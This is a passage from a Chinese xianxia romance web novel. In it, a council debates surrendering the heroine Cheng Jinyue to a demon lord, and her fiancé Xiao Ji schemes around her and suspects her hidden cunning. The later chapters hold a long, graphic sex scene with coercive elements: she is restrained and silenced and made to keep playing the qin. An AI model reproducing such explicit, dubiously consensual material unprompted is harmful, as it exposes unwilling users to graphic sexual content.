“如此多年来,这可以说是此魔第一次提出要求!老夫认为可信度极高!” 严定心中震惊无比,他从前,无数次想要降服怀钰,结果对方毫无感情,毫无诉求! 一个纯粹以杀人为乐的疯子,竟然也终于开了口? 简直是铁树开花,太阳从西边升起来了! “老夫知道,界主对大衍剑宗心存愧疚,想要迎娶今越姑娘为妻,但……她毫无修为,甚至可以说与凡人无异,对界主来说可以说是毫无作用,并且二位从前也并未什么感情……” “再退一万步说,今越姑娘纯粹善良,心似菩萨,这是你我皆知的事情!” “若是今越姑娘知道这件事情,老夫肯定,她必然也会舍生取义,义无反顾地做出跟我一样的选择!” “老夫以为,可以将程今越交给魔物!” 他斩钉截铁地说。 “绝不可能!” 安静坐着一直没说话的孟朝突然拍案而起。 他本来不想参与这些事情,但随着严定的话,他牙关逐渐咬紧,双手紧握,脸色阴沉。 他沉沉地压着心中的怒火,难以置信地看着众人。 一群人,道貌岸然,虚假伪善! 第63章 三个男人一台戏。 孟朝沉沉喘着气,他从来没想过这群人能这么不要脸。 所有人转头看向孟朝,神色各异。 “孟朝不明白,为什么以一人之性命换取众人之性命,难道今越姑娘的命就不是命吗?” 他横眉看着严定,看向所有人。 “前辈,你明明知道今越姑娘心地善良,却为何要牺牲一个这么好的人?” 他扫过严定。 严定冷哼,亦站起身来,与孟朝四目相对。 “你这黄口小儿,目光短浅,你又懂些什么?你了解这个魔种吗?你知晓天下格局吗?你知道有多少百姓在受苦,有多少人流离失所吗?” “你自以为的正义,不过是一己之私!” 严定怒斥,指着孟朝。 孟朝不为所动,他轻轻朝严定拱手。 “前辈,孟朝或许不了解的甚多,但,孟朝只了解今越姑娘。” 他不卑不亢,看着严定。 “还请前辈听我肺腑之言。” 严定没有说话,只是冷哼一声,转过身,默许了孟朝。 众人又看着萧极,萧极只是笑着,没有说话,一副看好戏的模样,好整以暇地坐着。 在这种情况下,总有人忍不住,他就喜欢看这样的戏码。 萧极喜欢看人的挣扎,就像在河边看到不会游泳的人在水中呼救,强烈的情绪能让萧极觉得这个世界稍微有些趣味。 他沉默着,但没有人有办法,只能抬头等着,等萧极终于点点头,众人才能说话。 就像狗吃饭的时候,需要主子先点头一般。 令人厌恶,但就是没有办法。 得到允许,孟朝沉沉呼气,一双坚毅的眼眸看着所有人。 “诸位,恕孟朝从来直来直往,性格耿直,我便直说了。” 他抬眸扫视座下心怀鬼胎的众人,凛然开口。 “来之前,想必诸位也听过孟朝的风言风语,我这个人也不想隐瞒,我孟朝从来不撒谎,只说真心话。” 月如仪话里话外带着刺儿,萧极从来情绪不外露,在场所有的人都像是隔着一层薄薄的纱,孟朝的话硬朗直白,不加修饰,像是最刺眼的光。 “诸位或许不了解今越姑娘,又心怀苍生才做出这个决定,难免是人之常情。但诸位不了解今越姑娘,但是我孟朝了解。” “从前,还未得知身世时,孟朝不过是别人口中所谓的卑贱之人,剑宗之中,谁都能踩我一脚,孟朝浑浑噩噩过了好多年。说些好笑的,孟朝还曾想过一了百了,但这个时候,只有一人站了出来,挡在我的身前。” “便是三小姐,今越姑娘。” “三小姐从不歧视身世平庸的人,她身体不好,却总是尽心尽力帮助每个人,不求回报,从无怨言。” “正如前辈所说,三小姐修为低下,所以她一直在尽她的全力去做,去帮助每个人,她知道没有修为在这残酷的世间是一件多么大的罪,所以她帮了很多平民,很多百姓,很多凡人。” “做这些事情的时候,其实很多人都是不理解的,权贵者辱骂她,憎恨她,给她使绊子,但她从不动摇。” “三小姐的确很弱,也很平凡,但是三小姐做别人不敢做的,做别人做不成的,从我认识她起,她便默默坚持着。” “当年,孟朝没有剑法,是三小姐给我的,孟朝甚至连一件好的衣物都没有,也是三小姐为我做的,孟朝与长公子程望不和,被打到站不起来,是三小姐扛着压力帮我。” “三小姐并不单独对孟朝这样,她对所有人都这样,孟朝不过是被三小姐帮助的千千万万中的最不起眼的一个。” “三小姐鼓励我,帮助我,给我机会,孟朝无三小姐,无以至今日。” “正如前辈所说,孟朝出言的确出于私心,但试问,谁没有私心?孟朝坦坦荡荡。” “如果今日我不为三小姐站出来,那我孟朝便愧对三小姐的善,不配为人!” “三小姐做的事有千千万万的百姓知道,所有人都记得她的好意。” “试问诸位,如此之善人,若是就这样死去,又如何安众人之心?如何维护正义,如何捍卫公道?” 孟朝身形挺拔,眼神如炬,他微微扬起下巴,目光扫过座中每一张脸庞。 他声音不卑不亢,但穿透在整个宫殿之中。 “若无人愿战,孟朝愿战,宁在直中取,不向曲中求,孟朝不怕死。” “三小姐厌恶杀戮,厌恶战争,厌恶魔物,就算是为了三小姐,我也愿战。” 他说完,缓缓坐下,严定也微微敛眸,并不回答。 众人没有一人说话,气氛变得异常诡异。 萧极却突然轻笑起来,好像是听到了什么好笑的事情。 雅致随和的外皮浅浅地披在他的身上,让人心中生寒,作壁上观的高傲不加掩饰。 “孟朝,有人告诉过你一件事吗?” 他弯唇笑了笑。 “你真的很像程今越的一条狗。” 他言简意赅,戏谑里是恶劣的轻佻。 羞辱的话从萧极嘴里轻飘飘地出来,所有人心中一惊,却不敢多言。 萧极等着孟朝回答,这样就可以完美达成他的消遣娱乐。 孟朝握着双拳,直直地对上萧极懒散的黑眸。 他张开口想要反击,但又硬生生地压下来。 话语权在萧极这里,他不能感情用事。 人在屋檐下,不得不低头,为了三小姐,他忍。 孟朝没有回答,萧极挑眉,但玩乐的兴趣却并未散去。 “孟朝,你能对我的夫人如此忠诚,我很欣慰。” 他不急不慢地说,黑眸中笼着薄薄雾气,话语中彰显主权的意味不言而喻。 他轻轻笑起来,将一块回音石送至孟朝桌前。 “我希望你能将自己今日的话记得清清楚楚,最好是一直都能这么想。” “当然,我也很期待你的幡然醒悟。” 孟朝毫不犹豫地接过回音石,面上冷笑着,“承您吉言。” 高高在上的掌权者,令人作呕,在萧极身前一刻,就让孟朝身如蚁爬,恨不得将萧极这副伪善的嘴脸撕烂。 这是个烫手的山芋,谁都不想开口接话,但这里的异类和疯子很多,总有思维与常人不同的人。 比如月如仪。 她轻笑着,打断这尴尬的气氛。 “各位别这么严肃啊,怎么搞得要生离死别了一样。” “我何曾说过,怀钰是要杀了程今越了。” 众人朝她看过去。 “我说过了,这位魔君在不久前还放出要娶妻的消息。” “我还听闻,萧界主前去大衍剑宗下聘礼的那日,便与这位魔君交过手。” “听闻,这位魔君与界主交手的原因,就是因为……今越姑娘吧……” 她笑着,好像只是在说一件街头巷尾的八卦事,眼中澄澈,唯恐天下不乱。 众人不约而同地看向萧极,又悄无声息地垂下眸子。 事情的发展简直像戏剧一般荒诞狗血。 月如仪的意思是魔君爱上的女子是程今越? 这简直是滑天下之大稽,恶贯满盈的魔种爱上善良柔弱的神女,像是命运的捉弄,注定上演一场苦情剧。 更逆天的事,程今越如今是仙门魁首,萧极的未婚妻。 偏偏天下第二仙门的青岩山的少主,竟然也倾心于程今越! 这位更是完全不加掩饰,对程今越的心思昭然若揭。 严定扶额,心中愤愤难平。 他从未见过程今越,程今越究竟有何魅力,竟能做到这个地步! 严定觉得自己对这个世界的认知都快要被扭曲,他完全不能想象魔种爱人的模样。 他沉沉叹气,“既如此,魔种既然倾心今越姑娘,定然不会伤害她。” “若是程今越嫁给魔种,便是让天下太平最简单的方法了。” “老夫会专门为今越姑娘打造法器,若是魔种一旦想要迫害她,我仙界众弟子定然也不会袖手旁观,今越姑娘绝无性命之忧,我仙界与人间也能得到和平,这可谓是两全其美的做法。” “诸位觉得如何呢?” “魔种绝不可信!怎么能把今越姑娘交到魔种手上!” 孟朝凝眸。 其余的人都没说话,随意打太极地说了几句话,又将目光放到了萧极身上。 提出意见的月如仪如今却不开口了,笑着看着众人。 可萧极就是迟迟不开口。 这是上位者恶劣的习惯,就不喜欢说,也不把情绪想法放在脸上。 偏要别人去猜,要别人去问,要给人施加无形的威压,只要上位者不开口,那其他人必定诚惶诚恐。 萧极在这世上活了很久,所有东西他都唾手可得,世间可谓是无趣。 唯独程今越。 可笑弱小又有趣,像是一盘千古的棋局。 孟朝甘愿当狗,魔种为她疯狂,她程今越凭什么? 无论怎么看,从事实还是从旁人的嘴里,程今越就是一个善良温柔又坚韧的小白花。 就凭这浮于表面的良善? 没有证据,但萧极有着极为恐怖的直觉力。 因为有的人是很难变的,特别是从血海里求一条活路的人。 白能变成黑,但是黑变不成白。 血滋养的泥土,开不出无辜的花。 谁都会被骗,但萧极不会。 那就来比一比啊,看谁更有耐心,看程今越怎么被他一层一层剥掉伪装的皮。 程今越坐在花前,手中的书放在她的膝上,萧极悄无声息地闯进程今越的花园,像是检查自己家的小猫活得还怎么样,他坐在程今越的身旁,骨节分明的手抚摸着程今越的脸。 萧极声音有些倦怠的哑,喉结锋利,挡在光前,微笑着。 “程今越,你要不要猜一猜,我做了什么选择呢?” “或者说,你想我做什么选择呢?” 第64章 柔弱的花,便想要让人蹂躏,捏碎。 四周的人已经全部退下了,院中只余萧极和程今越,清淡的花香伴随着轻盈的水汽飘在两人之间。 萧极的手骨节分明,修长有力,净白的肌肤下是一条条清晰可见的青色脉络,指腹带着薄茧,温暖宽大的手抬起程今越的脸庞,让程今越直视他。 “界主想听真话还是假话?” 程今越抬起颤颤的睫毛,温和地抬眸。 “你也可以试试说假话,看看能不能骗过我。”萧极笑着。 程今越轻轻将书放在一旁,少女乌黑的长发垂落腰间,纤弱可怜。 她乖巧地挺直腰脊,头被抬起,眼眸却侧着不去看萧极,像一只温顺的白兔。 “界主或许早已了解过今越,知道今越是一个怎么样的人,我坦言,今越在这世间,每走一步都格外艰难。” 她轻柔地说着,随后轻轻抬起蒙着水雾的眸,微微做下决定。 “我想活着,界主。” 知足,卑微,守礼,像在阴暗的水里拼命抓住阳光生长的水草。 “我其实……不知道界主想要什么,因为今越……实在是不能识人心,所以每每界主对我好,今越便觉得格外惶恐。” “但是今越知道,从界主愿意救下今越的那一刻,界主于我是有恩的,今越会记得每一个对我好的人。” 她抬眸看着萧极,几乎微不可见地靠着抚摸她脸的那双手,带着一丝拘谨。 “所以今越的这条命,我甘愿交给界主。” 萧极轻笑,柔和莫测的笑意,低沉又带轻缓。 又不做选择,推回给他。 他低头看着程今越,强行让程今越的眼睛看着他,程今越蹙着眉,水雾扑朔着,萧极看着这双无害的眼睛,试图从中看出来什么。 “甘愿把命交给我?” 萧极语气带着几分戏谑。 “可是,你的命对我来说,值什么呢?” 从不正面回答,只会给别人施压,让对面的心理防线逐渐崩塌。 的确,萧极这种聪明人并不好糊弄。 这个时候,程今越便会怀念起最好骗的怀钰。 程今越微微敛眸,泪水开始盈眶,眼尾泛红。 “的确,今越的命不值钱。” “不论是对您,还是对魔君。” 她鼓起勇气看着萧极。 “是吗?” “可魔君大人为了你甘愿受我几十箭也要带你走,宁愿以你一人换仙魔休战。” “程今越,你好像对自己的定位不是很清晰。” 萧极倾身打量着程今越,看着她脸上每一处细微的表情。 程今越却只是苦涩一笑,“界主,恨都是从爱滋生起的。” “今越能活到现在,最重要的就是靠的自知之明。” 凉风吹到她的身上,她下意识蜷起肩膀,像风雪里的摇摇欲坠的花,能激起人强烈的保护欲。 但萧极不为所动,笑容更为深切地看着程今越。 程今越抬起双眸,抑制着身上的颤抖,极力与萧极对视,展示着自己的忠诚。 “如今界主对我有恩,从前的事我也不愿隐瞒界主。” “我第一次见到魔君时,是在平城。那时平城地动,死伤无数,我正为百姓疗伤,便看到魔君……” 说到此处,程今越喉咙哽咽,过去的回忆仿佛浮现在她眼前,泪珠从眼眶盈盈而出。 “我看到,平城所有的人都死在了他的手里……” 她低着头,小声啜泣着,又极力忍耐着喉咙的哭腔。 “心狠手辣,穷凶极恶。”她咬着牙。 “都怪我太弱小……无法保护他们……”她攥紧手,整个人蜷缩着,不想让萧极看到她落泪的模样。 “说来也好笑,我贵为剑宗三小姐,被所有人捧做什么神女,我根本不配,我每次听到这样的话,我都觉得我就是一个毫无骨节的卑劣之人。” “如您所见,我又为了活下去选择了屈服。” “我想方设法在魔种手中活下去,拼尽全力想要逃离他……我明明这么弱,却还爱做不切实际的梦,我还曾尝试感化这样恶贯满盈的魔种呢,却眼睁睁地看着周围之人在魔种手中一个一个死去……” 她自嘲着。 “这便是我寻求界主帮助的原因之一,其实今越的愿望很简单,我只想活着。” 她颤着声音,轻轻将冰冷的手附上萧极宽厚的手,柔弱地,不熟练地,用脸庞轻轻蹭着萧极的手。 程今越抬起水汪汪的眼眸,泪水打湿了黑发,沾在程今越的脸上,惹人生怜。 “他会杀了我的……我不想死……” “求您……界主,不要将今越献出去,求您……” 这是程今越第一次这么近距地仔细看萧极。 萧极能感受到程今越在紧张。 而程今越的脑子里却在慢悠悠地欣赏萧极这张面皮。 坦白来说,萧极的样貌极佳,面如冠玉,和怀钰那样带着少年戾气的长相不同,萧极眉清目秀,明眸皓齿,嘴角常含三分笑意,翩翩君子一般。 但最突出的就是他这双纯黑的眼眸,像是不会反光的湖水,只会吞噬人心。 萧极正用这双眸子看着程今越。 他曾经和白落聊过程今越。 “白叔,你怎么看程今越?”萧极并不刚愎自用,他从集会上回来的路上问着白落。 白落微微一愣,这几乎是萧极第一次问他这样的问题。 白落看着萧极出生与长大,毫无疑问的说,萧极绝非池中之物,他不是程望那种纨绔的公子哥,也不走什么高尚的道路,他做事果断,手腕一流,敢争敢抢,天赋与血脉的加持下,成为仙界之主不过是时间问题。 萧极最出色的手段便是识人。 白落仔细思考着,回忆着印象中的程今越。 “在老奴看来,夫人善良,柔弱,修为不高,但格外聪明,懂得审时度势,性子坚韧,与她的两位血亲相比,不是一个层次之人。” “不过,据手下的人调查,她从长明族中一路流浪,逃离追杀,有些自保的手段也是应该的。” 在这世间,活下去的办法,最好的还是刚柔相济。 “今越姑娘能得到青岩山少主和魔君的青睐,说明今越姑娘定是有过人之处,仙界之人大多对今越姑娘多有美名,又还有个大衍剑宗的名头撑着,做无定界的夫人来说,也是能勉强够格。” 白落说完,但又觉得自己说得不对,他疑惑道,“难道……夫人有问题吗?” 萧极慢悠悠泡着茶,慢条斯理。 “没有什么问题。” “但这就是最大的问题。” 程今越的人缘很好,这本来也没有什么问题,但问题在于世间的人太多了,物以类聚,人以群分,但程今越很有意思,她几乎能和所有人完美相处,得到所有人的好感。 就拿孟朝和怀钰这两个人来说,这两人的性格天差地别。 孟朝正义果敢,嫉恶如仇;怀钰恶贯满盈,嗜血杀戮。 两人却都同样倾心于一个看起来只是有些温顺的女子。 就好像是炼丹一般,程今越仿佛拿着书籍,要什么丹药,便做出相应的步骤,毫无差错。 萧极在想自己是什么类型的丹药。 他很早以前就见过程今越。 温顺,柔弱,让他毫无兴趣,几乎不愿意再看一眼。 而偏偏就在程今越需要他的时候,程今越就变得格外的聪明,大胆,甚至有些荒诞不经。 温柔中带着一丝叛逆。 甚至故意透露出来一些秘密,明摆着勾着萧极。 每朝她多走一步,她就多抛出一些诱饵。 像是蛊毒,让人上瘾。 坐在集会之中,萧极扫视着座下所有人。 交不交出程今越,决定权在他手里。 萧极懒散地喝了一口茶,只是笑着。 “还不错嘛,你们不都快讨论好了吗,竟然还需要问我吗?” 他声音柔和,像是看着一场戏剧。 严定背后发冷,所有人都噤声。 “做梦都做到我面前了呀。” “难道没有一个人知道,程今越,是我的未婚妻吗?” “我的人,你们也配挂在嘴上?” 萧极笑起来,轻轻捏碎手中的瓷杯,一瞬间,众人围坐的长桌从萧极这一侧裂开缝隙,只听“砰”的一声,长桌破碎炸开,崩裂出强烈的灵力,将场上所有人击倒至地上,乌压压地倒了一片。 萧极站起来,低头看着众人。 “下不为例哦。” 谁都想要程今越,所有人对她趋之若鹜,萧极真的好好奇。 凭什么? 萧极没有说话,只是轻轻地擦掉她脸上的泪。 “别紧张,小越。” “我怎么会抛弃你呢,对吧?” 呵,虚伪又恶劣的掌权者。 程今越心中冷笑。 程今越当然知道萧极现在不会抛弃她了。 当然,自然不是因为什么自信与经验。 活到现在,最忌讳的就是自以为是。 在萧极的眼皮子底下,放在她腿上的那本书中,有人给她传递了消息。 在进出格外森严的无定界,在无数双眼睛聚集的程今越身边,谁的胆子这么大呢? 她也很好奇。 她轻轻地将头埋进萧极的怀中,不熟练地拥抱住他。 “界主……今越感谢您……” 纤弱的少女在他怀里哭泣,脖颈纤细,腰肢柔软,身上带着温和的香气。 像是一朵高洁脆弱的白花,想让人蹂躏,捏碎,想看到它破碎凌乱的样子。 萧极将手指插进程今越的发间,感受着她的柔软,他揉搓着,却感觉到自己的心口也反复被人蹂躏。 萧极的洁癖很重,他从前只是抱着玩乐的心态对待程今越,像观察兔子一样。 但现在,他觉得喉间很渴,一种奇异的兴奋在他体内翻涌。 “程今越,我不太喜欢听口头上的感谢。” 萧极的手换了位置,手中用了力。 程今越理解,礼尚往来,别人为自己做了事,总该给些回报。 她很早就观察过萧极了,看起来还挺让人满意,她也挺想试试这仙界第一有什么不同。 第65章 你的身体好像更诚实。 黄昏悠悠而至,金云毯自无定宫主殿外迤逦铺展,搁置许久的宴席突然召开。 悠长的曲调在殿中央传出,婢女端着琼浆玉液不断进出,珍奇宝贵的装潢不断增添着。 处处都是华丽与奢靡的味道。 宴席正在布置当中,但萧砚修已经早早地到了。 萧极没有亲兄弟,只有几个表亲和堂亲的兄弟,大多已经婚娶,与萧极来往并不密切。 当然,这种密切只是单方面的。以萧极的地位与修为,身边的人几乎是趋之若鹜,几个兄弟姐妹多有和萧极来往的意思,但耐不住萧极高傲。 奇珍异宝,萧极什么没有见过,血脉支撑,只不过是弱者才需要的东西,只有蜉蝣才需要抱团取暖,不好意思,他萧极不需要。 而这一次,萧极出乎意料地唤上了所有的血脉,众人诧异。 这个举动很简单,就是在明摆着告诉众人,他很重视这位未婚妻,要让所有人都认识认识。 萧砚修便是这些血脉中的例外,萧砚修从小与萧极交好,关系甚好。 “我表哥呢?” 萧砚修皱着眉头,颇不耐烦。 他年纪不大,长发被高高束起,几缕碎发不羁地垂在额前,剑眉斜飞,双眸锐利,最引人注目的是他右眼下一颗血红色的泪痣。 萧砚修身世显赫,又是独子,还与萧极交好,从小就被宠得无法无天。 “如今天色都方暗,宴席都还在布置当中,哪里有这么快,界主定然还在忙碌。” 萧礼笑着。 “是啊,砚修,时间尚早,你我急急忙忙地赶过来做什么呢?”萧盼兮叉着腰。 萧砚修嗤笑,“忙碌,是啊,表哥肯定是在陪我未来的嫂子吧。” “我就不懂了,程今越这人谁没有听过,软弱无能,灵力低下,根本就是一个蠢货,她配给哥哥做妻子吗?” 萧砚修走至桌前,浑身气愤,一边说着,又一脚泄愤地踢碎桌子,声音传开,让周围的众人都不禁被吓得不敢吱声。 萧礼摇摇头,“砚修,你何必这样说呢,程三小姐不过是天生灵根不好,但此人我与你姐姐都是见过的,性格温和善良,若是你见了,你也会喜欢的。” “更何况吗,程三小姐出身自大衍剑宗,身世不差,与哥哥也算是门当户对。” “门当户对?搞笑。”萧砚修挑眉。 “这样的话,你骗骗别人也就算了,我可不是像他们一样的蠢货。” “一个半路杀出来的三小姐,血脉又有多正统?不知道是程旭老儿和哪个卑贱的凡人生的杂种。” “好了,别说了。”萧盼兮打断他。 “不说,我凭什么不说,我就要说!哥哥是不会怪我的!” “表哥肯定是被这个女人骗了,不然怎么会娶她!” 萧砚修不明白,萧极最不屑与这些废物交往,更不会多看一眼,就连是萧家自己血脉的人,都不愿意多说一句话,这样高傲的人,又怎么会甘愿联姻? 甚至是娶一个自己根本不认识也不熟悉更不要提爱的女子。 并且,萧极还要为了这个女子将从前都不来往的人唤来,就为了来见一见程今越,给程今越撑腰? 每次想到这里,怒火都在萧砚修的心中燃烧。 这里面一定有问题,他才不信萧极会做这样的事情! “我哥哥在哪儿,我要去找他!”他怒火冲冲,抓住一个婢女就开始问。 “萧砚修,你发什么疯。你胆子也太大了,我看你是不想活了!” 萧盼兮抓住萧砚修。 萧极的性格谁不知道,外表看起来温和,实际上不容忤逆,想去质疑他的选择,那就可以等死了。 就算是萧砚修,怕是也不例外。 两人想要抓住萧砚礼,但得到消息的萧砚修却完全不听劝,几下挣扎开,风风火火地就朝萧极所在的地方走去。 程今越跟着萧极一路来到无定宫中一个阁楼,她没有来过这儿。 阁楼只有两三层,不算高,从外面看起来格外雅致。 上面挂了一个牌匾,“听雨楼”。 程今越心中微微一动。 她还以为萧极要带她去什么寝宫,原来还有一个专门的屋子用来做这些事情吗? 她真想看看萧极这次会准备些什么,会有什么情趣。 一进去,看起来像是一个书房,只有一架琴摆在不大的殿中央。 这把古琴流光溢彩,和上一次萧极送给她的那把琴可谓是不分伯仲。 昏黄的光从木窗斜射进来,洒在古琴上,格外柔和细腻。 “程今越,你的琴弹得很好。” 萧极笑着。 程今越看着眼前这把琴,她心中有些疑惑。 她心中微微有些失落,怎么只是琴啊,她还以为有什么没见过的新奇的东西呢。 她明白萧极的意思,程今越略显拘谨地坐在琴前,“不过是以前随意学过一些,技艺并不佳,并比不上界主的一分一毫。” “没关系,我会教你的。” 萧极走到程今越的身后,宽大的胸膛将程今越整个人包裹其中,握住程今越冰冷的手。 萧极身上温热,程今越能闻萧极身上好闻的木质香的味道。 他握着程今越的手,开始抚琴,悠扬的曲调从阁楼之中传出。 “这首曲子会吗?” 萧极的嘴唇就贴在她的耳侧,温热的气息钻进程今越的耳中,让她不禁浑*身一颤,耳朵微红。 像从前一样,只要萧极稍微一碰,就敏感地泛红,白皙的肌肤上变成靡乱的红色,总是让人的心中不禁产生一些其他的恶念。 程今越点点头,“略会一些。” 她记性很好,萧极也并未出一些偏难的曲子来为难她。 她尽力地在萧极的手中和他一起奏着这首曲子。 这把琴的品质极佳,声音醇厚。 程今越明白这座阁楼应该是专门为了听琴唱乐而做的。 阁楼下还有空置着的安置听客的地方,若是有宾客来,便会安排出名的乐师在阁楼上,坐在这扇窗户前,抚琴作乐。 琴声格外大,通过阁楼专属的构造被不断传递至远处。 若是说话声音稍微大一些,也能很轻易地被外面的人听见。 萧极将程今越搂在怀里,程今越却有些担忧地看着侧身这扇窗户。 窗户并不会是正对着程今越的,在程今越身前一些,从阁楼往上看,只能看见一双手在抚琴,并看不清弹琴的人是谁。 萧极似乎是看出了程今越的忧虑,他轻笑着,将握住程今越的手抽离开。 程今越以为萧极要离开了,谁知萧极的宽厚的手却一路向下。 她浑身一怔,诧异地看着萧极。 萧极却只是挑眉笑着,好像对自己做了什么完全不知一般,只是看着戛然而止的琴声,他微微皱眉。 “程今越,连琴都不愿弹给我听了?” “我……没有这个意思……” 她声音有些颤抖。 “不是这个意思就继续为我抚琴吧。” 萧极笑眼弯弯,直白坦荡,不加掩饰。 他和程今越紧紧贴在一起,透过衣服,能感受到彼此身上的滚烫,程今越柔软的腰不支地躺在他的怀里,想要挣扎,却被牢牢束缚住。 流畅的琴声变得断断续续,让人不禁疑惑,方才那段悠长的琴声怎么如今变得这样不熟练,甚至还多了些错音。 琴房中,暧昧浑浊的气氛不断蔓延,可身旁的光却不加掩饰地照射进来,还能听见阁楼远处有人路过。 水声在屋中响起,伴随着少女脸上的绯红,越来越深。 “萧极……你别这样……” 程今越声音颤抖着,她抬头看着萧极的脸,细嫩的脖子露出来,一双眼眸之中已经蕴上了水雾。 萧极垂着黑眸,低头看着程今越的神情,饶有兴趣。 “那要怎样?” 他手上加大了力气,越来越深,越来越快,带着薄茧的手肆意像弹琴一样。 “是这样吗?”他按了按,看着程今越的脸。 程今越痛苦地微虚了眼,喉咙之中忍不住发出荒诞的声音。 “不要这样……” 她拼命忍着自己喉咙的声音,窗户大开,她知道外面有人。 她浑身酸软,但是又不能停下手中的琴声,如果没有琴声的覆盖,她实在是不能清楚外面的人会听到些什么。 “不要这样?”萧极笑着,将程今越抱得更紧。 他右手在下,左手在上。 程今越的衣裳凌乱着,她的黑发凌乱地落在地上,落在萧极的身上,几缕青丝贴着她白皙的脸颊,被汗洇湿。 大片白色的肌肤慢慢被揉搓成绯红,在光下显得如此亮眼明显。 “程今越,你的身体或许比你的嘴更加诚实。” 萧极笑着,他看起来好像很喜欢玩这样的游戏。 水声潺潺,程今越呜咽着,她手中的曲子却不能停。 萧极摩挲着,将兴奋的感觉再次堆积到极点,可就是不再继续下去。 程今越的浑身颤抖着,身上的汗略微浸湿衣裳。 萧极就是一个混蛋! 她心中不禁燃起怒火。 萧极对人的情绪把握得太深了,在经验的加持下,他对程今越这副身体的把握也格外的深,他清楚地知道程今越的每一个节点。 “你可以求我啊,程今越。” 萧极俯身,温柔地问她。 声音低沉又蛊惑,他听着程今越极快的心跳,傲慢的眼中带着笑。 程今越泪濛濛的眼睛瞪着萧极,弱者的生气,在强者看来更像是在撒娇。 欲望的浪潮几乎要将人的理智淹没,狡猾的人就喜欢在这种时候卑劣地赢。 “放过我吧,求您……”她哭喊着,但跟男人想要的乞求并不太一样。 但是也没有关系,他并不恼怒,这属于意料之中的回答。 “既然我的夫人都求我了,我自然会放过你的。” 萧极用鼻尖和脸颊蹭蹭程今越,两人靠得太近。 早已滚烫的巨物贴在黏腻的水边。 程今越眼眸瞪大,随后随着巨大的感觉,萧极将程今越抱在了怀里,让她坐在自己身上。 泪水再也忍耐不住,大颗大颗的泪珠从程今越泛红的眼眶之中涌出,哭声快要抑制不住。 萧极将还带着水渍的大手捂住程今越的嘴,一只手可以将程今越的半张脸都笼罩其中。 “为我抚琴,夫人,好吗?” 他声音温柔,像是说着一件平常的事情。 程今越以为这件事,会在来无定界的第一天就会到来,没有想到居然来得如此之晚。 萧砚修得到消息后,便一路往听雨楼赶去。 他一定要问个清楚,他是不会允许一个蠢货成为哥哥的妻子。 “我表哥在哪儿?”他扬起下颌,马尾随着他的动作飘扬着,更添几分令人难以忽视的肆意与张狂。 “界主在听雨楼中。”婢女毕恭毕敬地回答。 得到肯定的答案,萧砚修就要往前冲,谁知高大的侍卫将他拦在门前。 “你们这群狗奴才也配拦我?都给我滚啊!” 婢女慌张地朝萧砚修跪下,“界主正与夫人待在一起,还请公子稍加等候。” 萧砚修心中更加气愤,拔出剑就要朝婢女砍去,却被跟在身后的萧礼瞬间拦住。 “萧砚修!休得放肆!”萧礼皱着眉。 萧砚修手中的剑被打落在地。 “你冷静一些好吗?” 萧砚修喘着气,他不耐烦地冷哼,他抬头看着楼上弹琴的双手,纤细白皙,琴声断断续续,“这么烂的琴艺,我不知道她怎么好意思来听雨楼弹琴,哥哥怎么会能听得下去这样难听的曲子!” “她不是大衍剑宗的三小姐吗,连琴都没有学过吗,就连宫里面随便一个婢女都比她弹得好!” 这样一个蠢货,竟然也能成为他的嫂嫂,这简直是他这辈子遇到过最荒谬的事情,简直就是他一生的污点。 不仅如此,程今越也会成为萧极的污点! 他绝对不允许这样的事情发生! “砚修,界主铁树开花,好不容易喜欢上了一个女子,你却多加阻拦,程今越再弱也无妨,自有界主能够护着她。” 程今越弱些也是一件好事,在仙界之中,她便只能依靠萧极,这样的女子最为单纯,最好控制,也不会有什么意外发生,未尝不可。 “界主是该成婚了,无定界也是该有个女主人了。”萧盼兮冷冷地看着萧砚修。 外面喧闹的声音传至楼中。 程今越心跳得很快。 第66章 “我跟他比,谁更让你满意?” 程今越抬头看着萧极,但对方却变本加厉,黑眸之中带着玩味的笑。 “夫人,抚琴的时候最重要的就是专心。” 程今越被迫在弹琴,萧极也好像是在抚琴一般。 雨停后的天微寒,但萧极的手格外温热滚烫,代替了程今越的衣裳,甚至更加温和暖人。 “萧极,你真是疯了……”她哽咽着,努力地说出一句完整的话。 听到程今越的话,萧极更没有停下,没有给程今越一丝喘息的机会,他腰腹动起来,坚韧有力。 萧极的腰腹和程今越的后背紧紧地贴在一起,她能清晰地感受到萧极的有力的肌肉。 “萧极一直如此,只是夫人并不了解罢了。” “没关系,作为夫君,我自然会让夫人更加深入了解我的。” 他凶狠残暴,伴随着强烈的冲击。 萧极看起来是谦谦公子的模样,笑眼动人,看起来人畜无害,但这样的如玉君子也能拉得动足人高的丹阳神弓,一次能射出几十道神箭,程今越也不该轻视萧极的体力的。 程今越随之起伏着,衣物遮掩住了不该被看见的地方,程今越也看不到萧极的脸,她的嘴巴被捂住,一双泪蒙蒙的眼睛只能看着斜前方大开着的窗户。 可紧接着,她的眼睛也被萧极的大手遮挡住。 嘴巴和眼睛都被萧极骨节分明的大手捂住,只留小巧的鼻子在外艰难地呼吸着。 当视觉失去后,听觉和嗅觉就变得格外灵敏。 她清楚地闻到房间内浑浊的气息,萧极身上好闻的木质香,还有她自己身上原本的香味。 几种气息混杂在一起,让整间雅致的屋子变得污秽不堪。 她听得见屋内潺潺的水声,慌乱掩饰的琴声,碰撞声。 萧极的说话的热气涌入她的耳畔。 餍足舒服的声音忍不住溢了出来。 头脑里逐渐变得浑浊,被欲/望所填满,快要思考不清。 不知为何,程今越在此刻却忍不住想起来怀钰。 明明她已经快一个月没有见过怀钰了,她也只有在萧极吊她胃口,在深夜的时候偶尔想起一下他。 但是由于程今越看不到,也不能说话,她眼前一片漆黑。 上一次让她这么满意的还是怀钰。 或许是因为怀钰总是用她的香料,导致怀钰衣服和身上的香味和她自己身上的香味一模一样。 她觉得有些荒谬,她忍不住在这种时候想念起了怀钰。 好像身后的人并不是萧极,而是怀钰。 奇怪的幻想让她浑身更加颤抖。 萧极的体力太好了,程今越已经得到了一次又一次,偏偏萧极就是不停下,好像是一个无底洞。 她像是一个泄欲的人偶娃娃。 突然间,萧极的话在她耳畔响起。 “程今越,魔君大人和我比起来,你更满意谁呢?” 萧极的声音低沉,话语中带着笑意。 程今越浑身一怔,并没有说话,但萧极已经低下头,贴着她绯红的脸,一双黑眸看着她。 等待了许久,程今越就是不开口,空中有些沉寂,气氛有些低沉。 萧极再次用力,程今越冷不防闷哼一声。 “怎么,爽得都说不出话了?” 萧极声音带笑,眼眸之中却带着玩味。 其实两者之间并说不出哪个好坏,两个人的风格完全不同,各有千秋。 她都很满意,如果能轮着来就更好了。 但是这种话她自然只敢在心里想想,断然不敢说出口的。 